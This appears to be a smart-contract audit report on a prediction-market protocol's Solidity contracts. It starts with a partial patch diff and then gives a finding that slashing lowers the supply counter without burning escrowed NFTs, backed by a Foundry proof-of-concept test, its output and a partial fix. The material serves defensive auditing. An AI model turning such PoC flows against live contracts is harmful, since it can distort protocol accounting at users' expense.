         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
-            if (_lpByHype < _lpByDAO) {
+            uint256 _daoOptimal = _hypeAmount * reserveDAO / reserveHYPE;
+            if (_daoOptimal < _daoAmount) {
                 hypeUsed  = _hypeAmount;
-                daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
+                daoUsed   = _daoOptimal;
                 daoRefund = _daoAmount - daoUsed;
-            } else if (_lpByDAO < _lpByHype) {
-                daoUsed    = _daoAmount;
-                hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
-                hypeRefund = _hypeAmount - hypeUsed;
             } else {
-                hypeUsed = _hypeAmount;
-                daoUsed  = _daoAmount;
+                uint256 _hypeOptimal = _daoAmount * reserveHYPE / reserveDAO;
+                if (_hypeOptimal < _hypeAmount) {
+                    daoUsed    = _daoAmount;
+                    hypeUsed   = _hypeOptimal;
+                    hypeRefund = _hypeAmount - hypeUsed;
+                } else {
+                    hypeUsed = _hypeAmount;
+                    daoUsed  = _daoAmount;
+                }
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

Affected files

  • src/CloudedDAO.sol
  • CloudedDAO.sol

Validation output

[output truncated: 1185 lines & 64.6298828125 KB skipped]
Ran 1 test suite in 15.62ms (4.67ms CPU time): 2 tests passed, 1 failed, 0 skipped (3 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: equality branch consumes the excess DAO side: 2 != 3] test_addLiquidityFlooredEqualityConsumesUncreditedExcessDAO() (gas: 592517)

Encountered a total of 1 failing tests, 2 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Slashing leaves NFTs live while reducing supply accounting

High#298777Validity: Unreviewed

Comment:

By design. Slashed tokens reduce the total supply, which determines the price of market creation, although the actual token burn must be triggered by the user. This does not affect functionality.

Source locations

Uploaded archive/CloudedJury.sol (7 locations)

Lines 238-245 — _The public token index can still expose contract-held IDs after slashing._

    function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }

    function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }

    function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
        creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
        challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
        stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
⋯ code omitted for brevity ⋯

Lines 270-282 — _redeem is the only _burn call site and requires _ownerOf(id) == msg.sender, which a slashed (contract-owned) token can never satisfy._ — _Redemption requires current ERC-721 ownership by the caller and pays the fixed 2.99 HYPE amount after burning._

    function redeem(uint256[] memory _tokenIds) external nonReentrant {
        uint256 _amount;
        for (uint256 i = 0; i < _tokenIds.length; i++) {
            if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
            _burn(_tokenIds[i]);
            _amount++;
        }

        if (_amount == 0) revert ZeroAmount();

        (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
        if (!_success) revert RefundFailed();
    }
⋯ code omitted for brevity ⋯

Lines 296-299 — _Staking transfers NFT custody to CloudedJury itself_

            marketTokenOf.add(_tokenId);
            tokenAddr_[_tokenId] = msg.sender;
            _update(address(this), _tokenId, msg.sender);
            emit Stake(msg.sender, _marketId, _tokenId);
⋯ code omitted for brevity ⋯

Lines 450-496 — _claimReward calls _slash for challenger and staker tokens that lose or fail to reveal (lines 472, 478, 481) without ever burning them._

    function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
        if (!markets_[_marketId].marketResolved) revert MarketResolved(false);

        uint256 _currentTokenId;
        uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
        uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
        (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
        (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
        Market  storage market                  = markets_[_marketId];
        Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
        for (uint256 i = 0; i < _tokenIds.length; i++) {
            _currentTokenId = _tokenIds[i];

            if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }

            if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                    _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                    if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                continue;
            }

            if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller

            if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }

            if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
            }

            _unstake(_marketId, _currentTokenId);

            uint256 _tokenReward;
            if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);

            emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
        }

        if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);

        emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
    }
⋯ code omitted for brevity ⋯

Lines 498-507 — _The supply mirror changes only on _update mint/burn transitions, which slashing bypasses._ — __getCurrentCreateMarketPrice is the sole consumer of totalSupply_, gating market-creation collateral with the now-corrupted counter._ — _The override updates totalSupply_ and tokenOf_ only when _update is called; slashing does not call it._

    function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }

    function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
        address from = super._update(_to, _tokenId, _auth);

        if (from == address(0)) totalSupply_++;
        if (_to == address(0)) totalSupply_--;

        if (from != address(0)) tokenOf_[from].remove(_tokenId);
        if (_to != address(0)) tokenOf_[_to].add(_tokenId);
⋯ code omitted for brevity ⋯

Lines 500-510 — __update is the only place totalSupply_/tokenOf_ are correctly synchronized to real ERC-721 ownership; _slash bypasses it entirely._

    function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
        address from = super._update(_to, _tokenId, _auth);

        if (from == address(0)) totalSupply_++;
        if (_to == address(0)) totalSupply_--;

        if (from != address(0)) tokenOf_[from].remove(_tokenId);
        if (_to != address(0)) tokenOf_[_to].add(_tokenId);

        return from;
    }
⋯ code omitted for brevity ⋯

Lines 569-583 — _Slash removes bookkeeping and DAO forwards slashed value but ERC721 token is never burned_ — _Slash bookkeeping and aggregate custom-supply decrement/buyback transfer._ — __slash removes participation metadata only, while resolution decrements totalSupply_ and forwards the slashed value without burning._ — __slash removes bookkeeping entries but never burns or transfers the ERC-721 token away from address(this)._ — __sendSlashedTokenValueToDao forwards native backing to the DAO and decrements totalSupply_ for tokens that remain un-burned ERC-721s._

    function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
        marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
        marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
        delete tokenAddr_[_tokenId];
        emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
    }

    function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
        (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
        if (_slashedTokens > 0) {
            totalSupply_ -= _slashedTokens;
            IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
            emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
        }
    }

Description

Slashing removes a token from the market bookkeeping in _slash, but does not perform the ERC-721 burn or ownership transition needed to remove the contract-custodied token from the NFT ledger. At market resolution, _sendSlashedTokenValueToDao nevertheless subtracts the aggregate slashed count from totalSupply_ and transfers 2.99 HYPE per counted token to the DAO. Since _update is the mechanism that synchronizes totalSupply_ and tokenOf_ with actual ERC-721 mint and burn transitions, bypassing it leaves slashed IDs live and indexed under address(this). Those IDs have also been removed from the market participation sets, while redeem requires the caller to be the current ERC-721 owner, so the former holder cannot redeem them. The reduced totalSupply_ is then consumed by _getCurrentCreateMarketPrice despite no corresponding ERC-721 supply reduction.

Root cause

_slash clears market bookkeeping without burning the escrowed ERC-721, while _sendSlashedTokenValueToDao separately decrements totalSupply_ and transfers its backing value.

Impact

Each slash causes the supply value used for market-creation collateral to fall without a matching reduction in live ERC-721 ownership, so the max(5, totalSupply_ / 100) requirement can become lower than the actual NFT supply would imply. Slashed IDs remain permanently contract-held and non-redeemable after their nominal backing has been sent to the DAO, producing persistent custody, enumeration, and accounting divergence.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator-and-staker");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();
    }

    function _contains(uint256[] memory ids, uint256 needle) internal pure returns (bool) {
        for (uint256 i = 0; i < ids.length; i++) if (ids[i] == needle) return true;
        return false;
    }

    function _slice(uint256[] memory ids, uint256 start, uint256 count) internal pure returns (uint256[] memory out) {
        out = new uint256[](count);
        for (uint256 i = 0; i < count; i++) out[i] = ids[start + i];
    }

    function test_slashingLeavesLiveContractHeldNFTWhileSupplyCounterFalls() public {
        // Mint enough NFTs for the create-market threshold to be controlled by totalSupply_/100,
        // not by the hard floor of five. 600 live NFTs require 6 creator-collateral NFTs.
        vm.deal(creator, 2_500 ether);
        vm.prank(creator);
        jury.mint{value: 1_800 ether}(600);
        assertEq(jury.balanceOf(creator), 600, "all NFTs are live in the ERC721 ledger");
        assertEq(jury.getCurrentCreateMarketPrice(), 6, "600 counted NFTs require six creator NFTs");

        uint256[] memory allMinted = jury.getUserTokenIds(creator);
        uint256[] memory creatorCollateral = _slice(allMinted, 0, 6);
        uint256[] memory stakedForSlashing = _slice(allMinted, 6, 100);
        uint256 firstSlashedId = stakedForSlashing[0];

        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);

        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will unrevealed jurors be slashed?",
            "The creator buys YES. Staked jurors deliberately do not reveal and are slashable at settlement.",
            outcomes,
            1,
            creatorCollateral,
            1,
            10
        );

        bytes32 commitHash = keccak256(abi.encodePacked(creator, uint256(1), uint256(1), bytes32("salt")));
        vm.prank(creator);
        jury.stake(1, stakedForSlashing, commitHash);
        assertEq(jury.balanceOf(address(jury)), 106, "creator and staker NFTs are escrowed by the real jury contract");
        assertEq(jury.ownerOf(firstSlashedId), address(jury), "stake transferred ERC721 ownership to the contract");

        // Let the market settle without any reveal. resolveMarket() executes the vulnerable
        // _sendSlashedTokenValueToDao path and decrements totalSupply_ for the 100 unrevealed stakes.
        (, , , uint256 startAt, , , , ) = clouded.getMarketInfo(1);
        vm.warp(startAt + 3 days);
        jury.resolveMarket(1);
        assertEq(jury.getCurrentCreateMarketPrice(), 5, "custom supply counter fell by the slashed amount");

        // The former owner claims the settled market. This calls the real _slash branch for
        // unrevealed juror stakes. _slash removes market bookkeeping but does not burn or transfer.
        vm.prank(creator);
        jury.claimReward(1, stakedForSlashing);

        assertEq(jury.ownerOf(firstSlashedId), address(jury), "slashed NFT still exists and is contract-owned");
        assertEq(jury.balanceOf(address(jury)), 106, "slashed IDs were not burned out of the ERC721 ledger");
        assertTrue(_contains(jury.getUserTokenIds(address(jury)), firstSlashedId), "public owner index still exposes the slashed ID");

        (, , uint256[] memory remainingStakerTokens) = jury.getStakerMarketTokenIds(creator, 1);
        assertEq(remainingStakerTokens.length, 0, "_slash removed the market bookkeeping that would authorize return");

        uint256[] memory tryRedeem = new uint256[](1);
        tryRedeem[0] = firstSlashedId;
        vm.prank(creator);
        vm.expectRevert(abi.encodeWithSelector(CloudedJury.NotOwner.selector, firstSlashedId));
        jury.redeem(tryRedeem);
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_slashingLeavesLiveContractHeldNFTWhileSupplyCounterFalls() (gas: 65197892)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.24ms (14.70ms CPU time)

Ran 1 test suite in 17.01ms (16.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC passed with Foundry strategy unit:test-poc-t-sol using the real CloudedJury/Clouded/CloudedDAO contracts and public entry points. It demonstrates the unrevealed-staker slashing path; the wrong-vote and challenger slashing branches are not separately exercised because the same _slash and _sendSlashedTokenValueToDao primitives are reached through the unrevealed-staker flow.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Burn slashed escrowed NFTs through ERC721._burn so ownership, balance, tokenOf_, and totalSupply_ remain synchronized via _update; remove the aggregate resolution-time supply decrement because no NFT transition occurs there and each actual slash now decrements supply exactly once.

Patch

diff
diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,646 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
